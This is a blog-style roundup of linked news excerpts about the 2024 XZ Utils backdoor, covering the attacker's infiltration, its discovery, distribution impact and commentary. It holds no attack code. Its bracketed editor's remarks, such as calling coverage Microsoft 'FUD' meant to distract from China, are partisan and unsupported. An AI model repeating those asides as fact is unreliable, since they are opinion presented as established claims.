  By January 2023, Jia Tan’s code was being integrated into XZ Utils. Over the next year, they would largely take control of the project from its original maintainer, Lasse Collin, a change driven in part by nagging emails sent to Collin by a handful users complaining about slow updates. (Whether those users were unwitting accomplices, or actually working with Jia Tan to persuade Collin to relinquish control, remains unclear. None of the users replied to requests for comment from WIRED.) Finally, Jia Tan added their stealthy backdoor to a version of XZ Utils in February of this year.

  That inhumanly patient approach, along with the technical features and sophistication of the backdoor itself, has led many in the cybersecurity world to believe that Jia Tan must, in fact, be a handle operated by state-sponsored hackers—and very good ones. “This multiyear operation was very cunning, and the implanted backdoor is incredibly deceptive,” says Costin Raiu, who until last year served as the most senior researcher and head of the global research and analysis team at Russian cybersecurity firm Kaspersky. “I’d say this is a nation-state-backed group, one with long-term goals in mind that affords to invest into multiyear infiltration of open source projects.”

• OSQI

  They’re out to get us · For me, the two big lessons from #XZ were first, the lack of resources supporting crucial Open-Source infrastructure, but then and especially, the demonstration that the attackers are numerous, skilled and patient. We already knew about numerous and skilled but this episode, where the attacker was already well-embedded in the project by May 2022, opened a few eyes, including mine.

  The advantage, to various flavors of malefactor, of subverting core pieces of Open-Source infrastructure, is incalculable. #XZ was the one we caught; how many have we missed?

And Still Going:

• Did One Guy Just Stop a Huge Cyberattack?

  The internet, as anyone who works deep in its trenches will tell you, is not a smooth, well-oiled machine.

  It’s a messy patchwork that has been assembled over decades, and is held together with the digital equivalent of Scotch tape and bubble gum. Much of it relies on open-source software that is thanklessly maintained by a small army of volunteer programmers who fix the bugs, patch the holes and ensure the whole rickety contraption, which is responsible for trillions of dollars in global G.D.P., keeps chugging along.

• A Newly Exposed Linux Utility Backdoor Leaves Nearly Every Distro Vulnerable, Here's What to Do

  Are you a Linux user? If so, you'll want to take note of a security issue affecting heaps of the most popular Linux distros, covering everything from Arch, Debian, Fedora, and more.

  The XZ Utils backdoor is a serious issue affecting potentially millions of Linux systems, and this is how you can keep your hardware safe.

• A new XZ backdoor scanner will be able to safeguard any Linux binary from threats

  IT teams worried about the XZ Utils supply chain attack can breathe a bit more easily after Binarly released a free online scanner to ease worries.

  Cybersecurity researchers looking into slow SSH logins on Debian Sid recently discovered a backdoor in the latest version of XZ Utils, a set of data compression tools and libraries, used by major Linux distros.

  The backdoor leveraged a vulnerability tracked as CVE-2024-3094, and was introduced to XZ version 5.6.0 by a pseudonymous attacker, and it persisted in 5.6.1. Soon after its discovery, the cybersecurity community rallied to address the issue, with CISA suggesting downgrading the tool to 5.4.6. Stable, and then hunting for, and reporting, any malicious activity.

• "We got lucky": What the XZ Utils backdoor says about the strength and insecurities of open source

  Linux has just dodged a serious security threat in the form of a mysterious backdoor added to a key library found in many distributions.

  The backdoor was found in the XZ Utils library and could have allowed an attacker to compromise SSHD authentication, granting unauthorized access to the entire system remotely. Fortunately, however, it was spotted before it had been widely incorporated.

  XZ is a data compression format present in nearly every Linux distribution which helps compress and then decompress large file formats for sharing via file transfers.

  “With a library this widely used, the severity of this vulnerability poses a threat to the entire Linux ecosystem,” the Kali Linux team explained in an advisory. “Luckily, this issue was caught quickly so the impact was significantly less than it could have been”.

  The backdoor is quite complex, according to analysis from Akamai. Instead of pushing parts of the backdoor to the public git repository, these were only included in source code tarball releases.

• Microsoft Employee Discovers Critical Flaw in Linux Utility, Prevents Widespread Global Impact

  Microsoft has issued a critical security advisory concerning a backdoor vulnerability (CVE-2024-3094) found within the widely used XZ Utils file compressor. This major flaw, with a maximum severity score of 10.0 on the CVSS scale, affects several popular Linux distributions including Fedora, Kali Linux, OpenSUSE, and Alpine Linux. Potentially, this vulnerability could have had a widespread global impact.

• The Other Players Who Helped (Almost) Make the World’s Biggest Backdoor Hack

  On March 29, Microsoft software developer Andres Freund was trying to optimize the performance of his computer when he noticed that one program was using an unexpected amount of processing power. Freund dove in to troubleshoot and “got suspicious.”

  Eventually, Freund found the source of the problem, which he subsequently posted to a security mailing list: He had discovered a backdoor in XZ Utils, a data compression utility used by a wide array of various Linux-based computer applications — a constellation of open-source software that, while often not consumer-facing, undergirds key computing and internet functions like secure communications between machines.

• fwupd and xz metadata

  A few people (and multi-billion dollar companies!) have asked for my response to the xz backdoor. The fwupd metadata that millions of people download every day is a 9.5MB XML file — which thankfully is very compressible. This used to be compressed as gzip by the LVFS, making it a 1.6MB download for end-users, but in 2021 we switched to xz compression instead.

  What actually happens behind the scenes is that the libxmlb library loads the optionally compressed metadata into a mmap-able binary blob, and then it gets used by fwupd to look for new updates for specific hardware. In libxmlb 0.3.3 we added support for xz as a compression format. Then fwupd 1.8.7 was released with xz support, preferring the xz format to the “legacy” gz format — as the metadata became a 1.1MB download, saving significant amounts of data from the CDN.

Alma now impacted:

• AlmaLinux OS - CVE-2024-1086 and XZ (AlmaLinux blog)

  The AlmaLinux project would also like to note that it is not impacted by the XZ backdoor. "Because enterprise Linux takes a bit longer to adopt those updates (sometimes to the chagrin of our users), the version of XZ that had the back door inserted hadn't made it further than Fedora in our ecosystem."

• AlmaLinux OS - CVE-2024-1086 and XZ

  AlmaLinux is NOT impacted by the XZ backdoor

  The entire open source world exploded last Friday as a reporter shared that they had identified a backdoor in the open source data compression utility XZ. Thanks to both the diligence of the reporter, Andres Freund, and the nature of beta and rolling releases being used for testing, this back door was identified much earlier than it might have otherwise been. Because enterprise Linux takes a bit longer to adopt those updates (sometimes to the chagrin of our users), the version of XZ that had the back door inserted hadn’t made it further than Fedora in our ecosystem.

  Both Fedora 40 beta and Rawhide were potentially impacted, and Red Hat has taken steps to mitigate the problem here (read more in their notice here), but neither CentOS Stream, RHEL, nor AlmaLinux ever included this malicious code.

Ubuntu:

• Ubuntu 24.04 Beta delayed due to malicious code in xz-utils, other GNU/Linux distros are also affected

  The Ubuntu 24.04 beta has been delayed for a week due to malicious code in the xz-utils package. Updates and fixes are being worked on.

Campaign of Fear, Uncertainty, Doubt/Fear-mongering/Dramatisation carrries on:

• Catch Of The Week: Backdoor Nearly Hits Linux [Ed: It is not Linux]

• [Repeat] Make Use Of ☛ A Newly Exposed Linux Utility Backdoor Leaves Nearly Every Distro Vulnerable, Here's What to Do [Ed: This headline is totally false. Many falsehoods in it.]

• Hackers Exploit XZ Utils Vulnerability to Infiltrate Linux Systems – Everything You Need to Know [Ed: Microsoft MVP sites amplifying "Linux" FUD to distract from China cracking Azure]

• IT World CA ☛ Cyber Security Today, April 3, 2024 – New Linux vulnerability is found, and a must-read ransomware case study [Ed: It is not Linux and the real, big news is about Azure and China]

• Catch Of The Week: Backdoor Nearly Hits Linux [Ed: It is not Linux]

• [Repeat] Make Use Of ☛ A Newly Exposed Linux Utility Backdoor Leaves Nearly Every Distro Vulnerable, Here's What to Do [Ed: This headline is totally false. Many falsehoods in it.]

• Hackers Exploit XZ Utils Vulnerability to Infiltrate Linux Systems – Everything You Need to Know [Ed: Microsoft MVP sites amplifying "Linux" FUD to distract from China cracking Azure]

• IT World CA ☛ Cyber Security Today, April 3, 2024 – New Linux vulnerability is found, and a must-read ransomware case study [Ed: It is not Linux and the real, big news is about Azure and China]

Another analysis:

• The xz Issue Isn’t About Open Source [Ed: Proprietary worse]

  Indeed. Faults and all, FLOSS is the most successful movement I know where people are bringing us back to the commons: working and volunteering for the common good, unleashing a thousand creative variants on a theme, iterating in every direction imaginable. We have FLOSS being vital parts of everything from $30 Raspberry Pis to space missions. It is brining education and communication to impoverished parts of the world. It lets everyone write and release software. And, unlike the SolarWinds and Twitter issues, it exposes both clever solutions and security flaws to the world.

  If an authentication process in Windows got slower, we would all shrug and mutter “Microsoft” under our breath. Because, really, what else can we do? We have no agency with Windows.

  If an authentication process in Linux gets slower, anybody that’s interested — anybody at all — can dive in and ask “why” and trace it down to root causes.

  Some look at this and say “FLOSS is responsible for this mess.” I look at it and say, “this would be so much worse if it wasn’t FLOSS” — and experience backs me up on this.

  FLOSS doesn’t prevent security issues itself.

Never-ending Distractions:

• The Linux xz Backdoor Episode: An Open Source Mystery

  The story of how a backdoor appeared in Linux xz libraries transforms our open source world into a human drama as compelling as any fiction.

  The story about the Linux xz backdoor exploit transforms our open source world into a human drama as compelling as any fiction.

  Our story begins with a mysterious maintainer who has planted a backdoor. The backdoor only works under certain circumstances, but when it does, access gets granted to a place where they are not supposed to enter — at all.

  As Joab Jackson writes, think of it as someone whose home got robbed. Except they have no clue when it happened or what was stolen.

• An anonymous coder nearly hacked a big chunk of the internet

  Outside the world of open-source software, it’s likely few people would have heard about XZ Utils, a small but widely used tool for data compression in Linux systems. But late last week, security experts uncovered a serious and deliberate flaw that could leave networked Linux computers susceptible to malicious attacks.

  The flaw has since been confirmed as a critical issue that could allow a knowledgeable hacker to gain control over vulnerable Linux systems. Because Linux is used throughout the world in email and web servers and application platforms, this vulnerability could have given the attacker silent access to vital information held on computers throughout the world – potentially including the device you’re using right now to read this.

Better articles:

• 'Re: lcamtuf on the recent xz debacle'

  > Just for clarity, does anyone know what "Unix-like operating systems"
  > would be affected by this?

  None. TLDR: The build process of the backdoor explicitly aborts on platforms other than Linux x86-64.

  As the maintainer of the archivers/xz port, I took a look at the build stages of the malicious code, because I had already prepared an update to 5.6.1 and run the code in question.

• Bullying in Open Source Software Is a Massive Security Vulnerability

  Other open source developers and security experts have pointed to the dynamic of bullying and the general reliance on a small number of volunteer developers. They explained that it’s a problem across much of the open source software ecosystem, and is definitely a problem for the large tech companies and infrastructure who rely on these often volunteer-led projects to build their for-profit software on top of.

A few more left:

• attack on Open Source supply chains aka the xz binary blob attack on GNU Linux

  bad actor (pseudonyms?) “Jigar Kumar” “Jia Tan” found a burned out open source maintainer-developer and offered to help https://www.mail-archive.com/xz-devel@tukaani.org/msg00566.html possible solutions: mankind really has to value the value of Open Source get organized to avoid such problems in the future […]

• Open-Source Software Community Rocked by a Sophisticated Backdoor in XZ Utils

  Late last month, a Microsoft engineer who volunteers for RDBMS PostgreSQL caught what is described as one of “the best executed supply chain attack we’ve seen described in the open.” The attack, possibly planned and under execution since at least 2021 to target several Linux distributions, could have proven catastrophic had it not been discovered in time.

• Discover the New XZ Backdoor Scanner: Your Solution for Implant Detection in Linux Binaries

  Step into the Future with the New XZ Backdoor Scanner: Pinpointing Implants in Linux

Another pair:

• Hackaday ☛ Hackaday Podcast Episode 265: Behind The Epic SSH Hack, 1980s Cyber Butler, The Story Of Season 7

  This week, Editor-in-Chief Elliot Williams and Kristina Panos convened once again to give the lowdown on this week’s best hacks. First up in the news — it’s giga-sunset time for Gigaset IoT devices, which simultaneously became paperweights on March 29th. And all that Flipper Zero panic? It has spread to Australia, but still remains exactly that: panic.

• ZDNet ☛ This backdoor almost infected GNU/Linux everywhere: The XZ Utils close call

  For the first time, an open-source maintainer put malware into a key GNU/Linux utility. We're still not sure who or why - but here's what you can do about it.

3 more:

• Supply chain attack sends shockwaves through open-source community

  An operation to undermine the software utility XZ Utils has exposed the fragile human foundations on which the modern internet is built.

• Latest Ubuntu Beta, Other GNU/Linux Distro Releases Delayed by xz-utils Vuln

  The recent security issue with xz-utils has delayed the latest Ubuntu beta release and other major GNU/Linux distros. The delay follows the discovery of a critical vulnerability, CVE-2024-3094 , which has prompted developers to push back the release by a week to ensure the safety of the upcoming Ubuntu version, codenamed Noble Numbat.

• Is Hey Hi (AI) Already Taking Jobs? +A Filmmaker Tries Sora + The XZ Backdoor Caper

  “I’ve always said if you have a Abusive Monopolist Microsoft Chaffbot subscription and a hose, you can get very far in this life.”

This topic is still in circulation this weekend:

• 2024-04-02 [Older] New XZ Backdoor Scanner Detects Implants In Any Linux Binary

• 2024-03-29 [Older] Reported Supply Chain Compromise Affecting XZ Utils Data Compression Library, CVE-2024-3094

• 2024-04-01 [Older] The XZ Linux Backdoor Is Incredibly BAD!!

• CVE-2024-3094: XZ Utils Backdoor Threatens Linux Systems

  A malicious backdoor was recently discovered in a component of the open-source XZ Utils tool, posing a threat to some Linux systems. The vulnerability is currently being tracked as CVE-2024-3094.

• The XZ Backdoor explained

  As software projects become more complex, development teams are working to integrate different components from various sources to build their software solutions.

• Linux backdoor was a long con, possibly with nation-state support, experts say

  Last year, JC Herz and her team at cybersecurity firm Exiger found a vulnerability in a federal system’s open-source software that interacts with troves of sensitive government data. They immediately alerted the system owner and defense stakeholders connected to the intelligence community and the Pentagon.

  The vulnerability was not lodged in the system’s code, but was, quite literally, the maintainer that sent commitments to the system: a single Russian government employee.

  “If this was compromised, it would have been front-page news everywhere,” said Herz, the SVP of Exiger’s Cyber Supply Chain group. Her experience underscored the dangers of accidentally allowing the wrong people inside sensitive open-source systems. Why deploy code to circumvent a network’s security protocols and risk being caught when one could instead play the long game and, eventually, have access to everything inside?

  That same story has a new chapter, this time for a tool used far beyond one government agency.

Several more a week later:

• XZ Utils Supply Chain Attack: A Threat Actor Spent Two Years to Implement a Linux Backdoor

  A threat actor quietly spent the last two years integrating themself in the core team of maintainers of XZ Utils, a free software command-line data compressor widely used in Linux systems. The attacker slowly managed to integrate a backdoor in the software that was designed to interfere with SSHD and allow remote code execution via an SSH login certificate. The backdoor was discovered a few days before being released on several Linux systems worldwide.

  The threat actor is suspected to be a developer with or using the name Jian Tan. Several security experts believe this supply chain attack might be state sponsored.

• Original maintainer of backdoored software plans article on hack, lessons learnt

  The original maintainer of the xz Utils package, which was backdoored and almost distributed to production GNU/Linux systems, is yet to make any public comment about the incident, saying he first needs to understand the situation thoroughly.

• 365: The XZorcist: a Compression Project Possessed by Evil

• Destination Linux 365: The XZorcist: a Compression Project Possessed by Evil

  Download as MP3...

• The Story Behind The XZ Backdoor Is Way More Fascinating Than It Should Be

  Every few years, it seems, we’re reminded of the incredible number of dependencies built into the software we all rely on. Remember kik? Or Chef Sugar? Or any number of similar situations? The xkcd comic on dependency is so well known for a reason.

Very late, very little left:

• XZ Utils backdoor: Detection tools, scripts, rules

  The open-source XZ Utils compression utility has been backdoored by a skilled threat actor who tried to get the malicious packages included in mainstream Linux distributions, to allow them unfettered, covert SSH access to Linux systems around the world.

Repo back online:

• Backdoored open-source package back on Microsoft's proprietary prison GitHub after being sanitised

  The repository of the open-source compression utility xz Utils, in which a backdoor was found prior to the Easter weekend, has now been restored to Microsoft's proprietary prison GitHub .

• William Brown: XZ

  XZ

  Ahh, it's that beautiful spontaneous time of year. A major public security incident has occured in opensource. All of the epidemiologist's of 2020 suddenly emerge from their chrysalis once more as a beautiful incarnation of a security expert. The hot takes flow more freely than cocaine at a Liberal party event. My share portfolio doubled in value due to taking a long position on popcorn futures.

• GitHub Restores Access to XZ Utils Repository

  A week after finding a malicious backdoor, Microsoft's proprietary prison GitHub has safely restored access to the XZ Utils repo for developers worldwide.

Another late trickle:

• Backdoor in XZ Utils That Almost Happened

  Last week, the internet dodged a major nation-state attack that would have had catastrophic cybersecurity repercussions worldwide. It’s a catastrophe that didn’t happen, so it won’t get much attention—but it should.

• COLUMN: The spirit of Linux and the attention economy

  The attention economy, as it is called, refers to the process by which peoples’ attention acts as a valuable resource, with online platforms competing to capture and hold people’s attention for profit.

  This concept recognizes attention as a form of currency, where online activity is manipulated and monetized through advertising. The folks that maintain Linux are privacy and security stalwarts, and it is characteristic of these developers to favor privacy and anonymity over the glitz and glamour of everyday social media.

• A vulnerability in Linux distributions may allow unauthorized access

  Red Hat has recently reported a malicious code embedded in XZ Utils versions 5.6.0 and 5.6.1, which are XZ format compression utilities that are often involved in Linux distributions. The vulnerability has been labelled as CVE-2024-3094.

LWN coverage now outside paywall:

• Free software's not-so-eXZellent adventure

  A common theme in early-days anti-Linux FUD was that, since anybody can contribute to the code, it cannot be trusted. Over two decades later, one rarely hears that line anymore; experience has shown that free-software communities are not prone to shipping overtly hostile code. But, as the backdooring of XZ has reminded us, the embedding of malicious code is, unfortunately, not limited to the proprietary realm. Our community will be busy analyzing this incident for some time to come, but clear conclusions may be hard to come by.

• How the XZ backdoor works

  Versions 5.6.0 and 5.6.1 of the XZ compression utility and library were shipped with a backdoor that targeted OpenSSH. Andres Freund discovered the backdoor by noticing that failed SSH logins were taking a lot of CPU time while doing some micro-benchmarking, and tracking down the backdoor from there. It was introduced by XZ co-maintainer "Jia Tan" — a probable alias for person or persons unknown. The backdoor is a sophisticated attack with multiple parts, from the build system, to link time, to run time.

  The community response to the attack is just as interesting as the technical aspects. For more information on that, refer to this companion article.

SUSE/OpenSUSE:

• What we need to take away from the XZ Backdoor

  A few days before the public disclosure of the XZ backdoor, the SUSE product security team got a hint that there is something odd with the XZ 5.6.x releases. I am the SUSE employee and openSUSE packager that was updating and including this version into openSUSE Tumbleweed, so I got involved in this quite early. By that time, no context and information that was shared in the initial public disclosure was available to us. However, that hint was all the information that we needed. It changed the way we looked at an established, central open-source project. Without that, the odd small diff in the “configure” stage of the build system would have been easily disregarded.

Also in LWN. Many comments there.

3 additional links:

• Open source alert over intentionally placed backdoor

  A backdoor in the open source XZ Utils data compression library could have led to widespread compromise across the Linux ecosystem - and the community is on the trail of a developer who seems to be behind it

• The xz Utils Backdoor Case: A Near Miss for Global Cybersecurity using Supply Chain attack

  In the world of cybersecurity, the recent revelation of a backdoor almost merging into the ubiquitous xz Utils, a data compression tool widely used in Linux and Unix-like systems, has sent shockwaves through the tech community. The potentially catastrophic consequences of this near-miss event underscore the importance of vigilance and transparency in open-source software development.

• Update on xz

  I've updated the xz version in 3.2-current to 5.4.x and avoided the known vulnerable releases. This aligns with recommendations from several sources. As far as the calls to switch off xz for everything, that's unlikely in the short term. A lot of software distributed in mports uses tar.xz files. Further, package files generated by mport use it. Early releases of mport used bzip2 but we migrated many years ago to tar.xz. We're investigating the possibility of migrating to zstd and are working on updating libarchive to a newer release in base for this purpose. It will likely not happen for the midnightbsd 3.2 release and will need to happen during a major release cycle. (4.x? 3.3?) The long term risk is that xz isn't taken over or forked by a trustworthy source and CVEs start piling up. The actual linux specific issues with 5.6.x are not a concern for BSD platforms aside from the real risk of something like this happening again. (the supply chain attack piece is a danger) The harsh reality of open source is that there is a lot of code and it's difficult to review it all. Companies have been bitten by issues like Amazon Music getting crypto mining node modules years ago or the recent attack on Notepad++ plugins. It happens. How we deal with it is what's important....